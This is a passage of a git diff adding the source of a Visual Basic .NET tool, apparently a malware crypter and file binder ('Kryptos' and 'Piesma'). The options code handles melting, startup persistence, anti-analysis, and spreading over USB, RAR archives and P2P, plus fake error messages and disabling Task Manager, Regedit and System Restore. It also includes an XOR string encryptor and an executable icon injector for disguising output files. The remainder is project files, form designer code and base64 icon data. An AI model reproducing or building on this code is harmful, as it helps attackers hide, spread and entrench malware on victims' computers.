MessageBoxButtons.OK, MessageBoxIcon.Information) + + Catch ex As Exception + + MessageBox.Show(":( Something Went Wrong!", "Ooops!", MessageBoxButtons.OK, MessageBoxIcon.Error) + + End Try + + End Sub +#End Region + +#Region "Xor" + Public Function CustomXOR_Encrypt(ByVal Input As String, ByVal pass As String) As String + Dim out As New System.Text.StringBuilder + Dim Hash As New System.Security.Cryptography.MD5CryptoServiceProvider + Dim XorHash As Byte() = Hash.ComputeHash(System.Text.Encoding.ASCII.GetBytes(pass)) + Dim u As Integer + For i As Integer = 0 To Input.Length - 1 + Dim tmp As String = Hex(Asc(Input(i)) Xor XorHash(u)) + If tmp.Length = 1 Then tmp = "0" & tmp + out.Append(tmp) + If u = pass.Length - 1 Then u = 0 Else u = u + 1 + Next + Return out.ToString + End Function +#End Region + +#Region "ByteArray" + Public Shared Function StrToByteArray(str As String) As Byte() + + Dim encoding As New System.Text.ASCIIEncoding() + + Return encoding.GetBytes(str) + + End Function +#End Region + +#Region "Installz" + Public Sub GetInstallz() + If InstallCheck.CheckedState = True Then + installz = True + directz = AppdataDirec.Text + Else : installz = False + End If + End Sub +#End Region + +#Region "Dimz3" + Public Sub GetFakeMessage() + If FakeErrorCheck.CheckedState = True Then + fakemsg = True + titlz = FETitle.Text + msgz = FEMessage.Text + Else : fakemsg = False + End If + End Sub +#End Region + +#Region "Dimz2" + Public Sub GetOptions() + If melt.CheckedState = True Then + meltz = True + Else : meltz = False + End If + + If startup.CheckedState = True Then + startupz = True + Else : startupz = False + End If + + If antis.CheckedState = True Then + antisz = True + Else : antisz = False + End If + + If UsbSpread.CheckedState = True Then + usbizzle = True + Else : usbizzle = False + End If + + If RarCheck.CheckedState = True Then + rarizzle = True + Else : rarizzle = False + End If + + If p2pcheck.CheckedState = True Then + p2pizzle = True + Else : p2pizzle = False + End If + + If antis.CheckedState = True Then + antisz = True + Else : antisz = False + End If + + End Sub +#End Region + +#Region "Dimz" + Public Sub GetDisables() + If Task.CheckedState = True Then + taskmanager = True + Else : taskmanager = False + End If + + If Edit.CheckedState = True Then + regedit = True + Else : regedit = False + End If + + If Restore.CheckedState = True Then + systemrestore = True + Else : systemrestore = False + End If + + + End Sub +#End Region + +End Class + diff --git a/scode (KryptosPublicVer/IconInject.vb b/scode (KryptosPublicVer/IconInject.vb new file mode 100644 index 0000000..fc8158c --- /dev/null +++ b/scode (KryptosPublicVer/IconInject.vb @@ -0,0 +1,153 @@ +Option Strict On +Option Explicit On +Option Infer On +Imports System.Runtime.InteropServices +Imports System.Security +Public Class IconChanger + _ + Private Class NativeMethods + _ + Public Shared Function BeginUpdateResource( _ + ByVal fileName As String, _ + ByVal deleteExistingResources As Boolean) As IntPtr + End Function + _ + Public Shared Function UpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal type As IntPtr, _ + ByVal name As IntPtr, _ + ByVal language As Short, _ + _ + ByVal data() As Byte, _ + ByVal dataSize As Integer) As Boolean + End Function + _ + Public Shared Function EndUpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal discard As Boolean) As Boolean + End Function + End Class + _ + Private Structure ICONDIR + Public Reserved As UShort + Public Type As UShort + Public Count As UShort + End Structure + _ + Private Structure ICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ImageOffset As Integer + End Structure + _ + Private Structure BITMAPINFOHEADER + Public Size As UInteger + Public Width As Integer + Public Height As Integer + Public Planes As UShort + Public BitCount As UShort + Public Compression As UInteger + Public SizeImage As UInteger + Public XPelsPerMeter As Integer + Public YPelsPerMeter As Integer + Public ClrUsed As UInteger + Public ClrImportant As UInteger + End Structure + _ + Private Structure GRPICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ID As UShort + End Structure + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String) + InjectIcon(exeFileName, iconFileName, 1, 1) + End Sub + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger) + Const RT_ICON As UInteger = 3UI + Const RT_GROUP_ICON As UInteger = 14UI + Dim iconFile As IconFile = iconFile.FromFile(iconFileName) + Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False) + Dim data = iconFile.CreateIconGroupData(iconBaseID) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length) + For i = 0 To iconFile.ImageCount - 1 + Dim image = iconFile.ImageData(i) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length) + Next + NativeMethods.EndUpdateResource(hUpdate, False) + End Sub + Private Class IconFile + Private iconDir As New ICONDIR + Private iconEntry() As ICONDIRENTRY + Private iconImage()() As Byte + Public ReadOnly Property ImageCount() As Integer + Get + Return iconDir.Count + End Get + End Property + Public ReadOnly Property ImageData(ByVal index As Integer) As Byte() + Get + Return iconImage(index) + End Get + End Property + Private Sub New() + End Sub + Public Shared Function FromFile(ByVal filename As String) As IconFile + Dim instance As New IconFile + Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename) + Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned) + instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR) + instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {} + instance.iconImage = New Byte(instance.iconDir.Count - 1)() {} + Dim offset = Marshal.SizeOf(instance.iconDir) + Dim iconDirEntryType = GetType(ICONDIRENTRY) + Dim size = Marshal.SizeOf(iconDirEntryType) + For i = 0 To instance.iconDir.Count - 1 + Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY) + instance.iconEntry(i) = entry + instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {} + Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes) + offset += size + Next + pinnedBytes.Free() + Return instance + End Function + Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte() + Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount + Dim data(sizeOfIconGroupData - 1) As Byte + Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned) + Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False) + Dim offset = Marshal.SizeOf(iconDir) + For i = 0 To ImageCount - 1 + Dim grpEntry As New GRPICONDIRENTRY + Dim bitmapheader As New BITMAPINFOHEADER + Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned) + Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER))) + pinnedBitmapInfoHeader.Free() + grpEntry.Width = iconEntry(i).Width + grpEntry.Height = iconEntry(i).Height + grpEntry.ColorCount = iconEntry(i).ColorCount + grpEntry.Reserved = iconEntry(i).Reserved + grpEntry.Planes = bitmapheader.Planes + grpEntry.BitCount = bitmapheader.BitCount + grpEntry.BytesInRes = iconEntry(i).BytesInRes + grpEntry.ID = CType(iconBaseID + i, UShort) + Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False) + offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY)) + Next + pinnedData.Free() + Return data + End Function + End Class +End Class + + diff --git a/scode (KryptosPublicVer/KryptosPublicVer.sln b/scode (KryptosPublicVer/KryptosPublicVer.sln new file mode 100644 index 0000000..a201709 --- /dev/null +++ b/scode (KryptosPublicVer/KryptosPublicVer.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 10.00 +# Visual Basic Express 2008 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "KryptosPublicVer", "KryptosPublicVer.vbproj", "{06FB7DA5-2621-4484-AF28-518B558A0637}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x86 = Debug|x86 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {06FB7DA5-2621-4484-AF28-518B558A0637}.Debug|x86.ActiveCfg = Debug|x86 + {06FB7DA5-2621-4484-AF28-518B558A0637}.Debug|x86.Build.0 = Debug|x86 + {06FB7DA5-2621-4484-AF28-518B558A0637}.Release|x86.ActiveCfg = Release|x86 + {06FB7DA5-2621-4484-AF28-518B558A0637}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (KryptosPublicVer/KryptosPublicVer.suo b/scode (KryptosPublicVer/KryptosPublicVer.suo new file mode 100644 index 0000000..8ddd874 Binary files /dev/null and b/scode (KryptosPublicVer/KryptosPublicVer.suo differ diff --git a/scode (KryptosPublicVer/KryptosPublicVer.vbproj b/scode (KryptosPublicVer/KryptosPublicVer.vbproj new file mode 100644 index 0000000..1205bb9 --- /dev/null +++ b/scode (KryptosPublicVer/KryptosPublicVer.vbproj @@ -0,0 +1,170 @@ + + + + Debug + x86 + + + 2.0 + {06FB7DA5-2621-4484-AF28-518B558A0637} + WinExe + KryptosPublicVer.My.MyApplication + KryptosPublicVer + KryptosPublicVer + 512 + WindowsForms + v2.0 + + + + + x86 + true + full + true + true + bin\Debug\ + KryptosPublicVer.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + x86 + pdbonly + false + true + true + bin\Release\ + KryptosPublicVer.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + Secure.ico + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Binder.vb + + + Form + + + + Form + + + Form1.vb + Form + + + + MainWindow.vb + + + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + + + Component + + + Component + + + + + + Binder.vb + + + Form1.vb + + + MainWindow.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + \ No newline at end of file diff --git a/scode (KryptosPublicVer/KryptosPublicVer.vbproj.user b/scode (KryptosPublicVer/KryptosPublicVer.vbproj.user new file mode 100644 index 0000000..695b5c7 --- /dev/null +++ b/scode (KryptosPublicVer/KryptosPublicVer.vbproj.user @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/scode (KryptosPublicVer/MainWindow.Designer.vb b/scode (KryptosPublicVer/MainWindow.Designer.vb new file mode 100644 index 0000000..39494e8 --- /dev/null +++ b/scode (KryptosPublicVer/MainWindow.Designer.vb @@ -0,0 +1,200 @@ + _ +Partial Class MainWindow + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim Bloom1 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom2 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom3 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom4 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom5 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom6 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom7 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom8 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom9 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom10 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom11 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom12 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom13 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom14 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom15 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom16 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom17 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom18 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim Bloom19 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(MainWindow)) + Me.CyberTheme1 = New KryptosPublicVer.CyberTheme() + Me.CyberButton3 = New KryptosPublicVer.CyberButton() + Me.CyberSeparator2 = New KryptosPublicVer.CyberSeparator() + Me.CyberButton2 = New KryptosPublicVer.CyberButton() + Me.CyberSeparator1 = New KryptosPublicVer.CyberSeparator() + Me.CyberButton1 = New KryptosPublicVer.CyberButton() + Me.CyberTheme1.SuspendLayout() + Me.SuspendLayout() + ' + 'CyberTheme1 + ' + Me.CyberTheme1.BackColor = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Me.CyberTheme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None + Bloom1.Name = "Back" + Bloom1.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer)) + Bloom2.Name = "Gradient1" + Bloom2.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer)) + Bloom3.Name = "Gradient2" + Bloom3.Value = System.Drawing.Color.FromArgb(CType(CType(20, Byte), Integer), CType(CType(20, Byte), Integer), CType(CType(20, Byte), Integer)) + Bloom4.Name = "Border1" + Bloom4.Value = System.Drawing.Color.FromArgb(CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer)) + Bloom5.Name = "Border2" + Bloom5.Value = System.Drawing.Color.FromArgb(CType(CType(49, Byte), Integer), CType(CType(49, Byte), Integer), CType(CType(49, Byte), Integer)) + Bloom6.Name = "Border3" + Bloom6.Value = System.Drawing.Color.Black + Bloom7.Name = "Line1" + Bloom7.Value = System.Drawing.Color.Black + Bloom8.Name = "Line2" + Bloom8.Value = System.Drawing.Color.Black + Bloom9.Name = "Hatch1" + Bloom9.Value = System.Drawing.Color.Black + Bloom10.Name = "Hatch2" + Bloom10.Value = System.Drawing.Color.FromArgb(CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer)) + Bloom11.Name = "Shade1" + Bloom11.Value = System.Drawing.Color.FromArgb(CType(CType(70, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer)) + Bloom12.Name = "Shade2" + Bloom12.Value = System.Drawing.Color.Transparent + Bloom13.Name = "Text" + Bloom13.Value = System.Drawing.Color.LightBlue + Me.CyberTheme1.Colors = New KryptosPublicVer.Bloom() {Bloom1, Bloom2, Bloom3, Bloom4, Bloom5, Bloom6, Bloom7, Bloom8, Bloom9, Bloom10, Bloom11, Bloom12, Bloom13} + Me.CyberTheme1.Controls.Add(Me.CyberButton3) + Me.CyberTheme1.Controls.Add(Me.CyberSeparator2) + Me.CyberTheme1.Controls.Add(Me.CyberButton2) + Me.CyberTheme1.Controls.Add(Me.CyberSeparator1) + Me.CyberTheme1.Controls.Add(Me.CyberButton1) + Me.CyberTheme1.Customization = "GRkZ/yMjI/8UFBT/IiIi/zExMf8AAAD/AAAA/wAAAP8AAAD/IiIi/wAAAEb///8A5tit/w==" + Me.CyberTheme1.Dock = System.Windows.Forms.DockStyle.Fill + Me.CyberTheme1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberTheme1.Image = Nothing + Me.CyberTheme1.Location = New System.Drawing.Point(0, 0) + Me.CyberTheme1.Movable = True + Me.CyberTheme1.Name = "CyberTheme1" + Me.CyberTheme1.NoRounding = False + Me.CyberTheme1.Sizable = False + Me.CyberTheme1.Size = New System.Drawing.Size(284, 232) + Me.CyberTheme1.TabIndex = 0 + Me.CyberTheme1.Text = "Main Menu " + Me.CyberTheme1.TransparencyKey = System.Drawing.Color.Empty + ' + 'CyberButton3 + ' + Bloom14.Name = "BackColor" + Bloom14.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom15.Name = "TextColor" + Bloom15.Value = System.Drawing.Color.LightBlue + Me.CyberButton3.Colors = New KryptosPublicVer.Bloom() {Bloom14, Bloom15} + Me.CyberButton3.Cursor = System.Windows.Forms.Cursors.Arrow + Me.CyberButton3.Customization = "KCgo/+bYrf8=" + Me.CyberButton3.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberButton3.Image = Nothing + Me.CyberButton3.Location = New System.Drawing.Point(31, 180) + Me.CyberButton3.Name = "CyberButton3" + Me.CyberButton3.NoRounding = False + Me.CyberButton3.Size = New System.Drawing.Size(215, 32) + Me.CyberButton3.TabIndex = 4 + Me.CyberButton3.Text = "Exit" + Me.CyberButton3.Transparent = False + ' + 'CyberSeparator2 + ' + Me.CyberSeparator2.Location = New System.Drawing.Point(31, 151) + Me.CyberSeparator2.Name = "CyberSeparator2" + Me.CyberSeparator2.Orientation = System.Windows.Forms.Orientation.Horizontal + Me.CyberSeparator2.Size = New System.Drawing.Size(215, 23) + Me.CyberSeparator2.TabIndex = 3 + Me.CyberSeparator2.Text = "CyberSeparator2" + ' + 'CyberButton2 + ' + Bloom16.Name = "BackColor" + Bloom16.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom17.Name = "TextColor" + Bloom17.Value = System.Drawing.Color.LightBlue + Me.CyberButton2.Colors = New KryptosPublicVer.Bloom() {Bloom16, Bloom17} + Me.CyberButton2.Cursor = System.Windows.Forms.Cursors.Arrow + Me.CyberButton2.Customization = "KCgo/+bYrf8=" + Me.CyberButton2.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberButton2.Image = Nothing + Me.CyberButton2.Location = New System.Drawing.Point(31, 113) + Me.CyberButton2.Name = "CyberButton2" + Me.CyberButton2.NoRounding = False + Me.CyberButton2.Size = New System.Drawing.Size(215, 32) + Me.CyberButton2.TabIndex = 2 + Me.CyberButton2.Text = "Piesma {File Binder}" + Me.CyberButton2.Transparent = False + ' + 'CyberSeparator1 + ' + Me.CyberSeparator1.Location = New System.Drawing.Point(31, 84) + Me.CyberSeparator1.Name = "CyberSeparator1" + Me.CyberSeparator1.Orientation = System.Windows.Forms.Orientation.Horizontal + Me.CyberSeparator1.Size = New System.Drawing.Size(215, 23) + Me.CyberSeparator1.TabIndex = 1 + Me.CyberSeparator1.Text = "CyberSeparator1" + ' + 'CyberButton1 + ' + Bloom18.Name = "BackColor" + Bloom18.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer)) + Bloom19.Name = "TextColor" + Bloom19.Value = System.Drawing.Color.LightBlue + Me.CyberButton1.Colors = New KryptosPublicVer.Bloom() {Bloom18, Bloom19} + Me.CyberButton1.Cursor = System.Windows.Forms.Cursors.Arrow + Me.CyberButton1.Customization = "KCgo/+bYrf8=" + Me.CyberButton1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.CyberButton1.Image = Nothing + Me.CyberButton1.Location = New System.Drawing.Point(31, 46) + Me.CyberButton1.Name = "CyberButton1" + Me.CyberButton1.NoRounding = False + Me.CyberButton1.Size = New System.Drawing.Size(215, 32) + Me.CyberButton1.TabIndex = 0 + Me.CyberButton1.Text = "Kryptos {Crypter}" + Me.CyberButton1.Transparent = False + ' + 'MainWindow + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(284, 232) + Me.Controls.Add(Me.CyberTheme1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.Name = "MainWindow" + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "MainWindow" + Me.CyberTheme1.ResumeLayout(False) + Me.ResumeLayout(False) + + End Sub + Friend WithEvents CyberTheme1 As KryptosPublicVer.CyberTheme + Friend WithEvents CyberSeparator1 As KryptosPublicVer.CyberSeparator + Friend WithEvents CyberButton1 As KryptosPublicVer.CyberButton + Friend WithEvents CyberSeparator2 As KryptosPublicVer.CyberSeparator + Friend WithEvents CyberButton2 As KryptosPublicVer.CyberButton + Friend WithEvents CyberButton3 As KryptosPublicVer.CyberButton +End Class diff --git a/scode (KryptosPublicVer/MainWindow.resx b/scode (KryptosPublicVer/MainWindow.resx new file mode 100644 index 0000000..e538e3c --- /dev/null +++ b/scode (KryptosPublicVer/MainWindow.resx @@ -0,0 +1,3119 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + 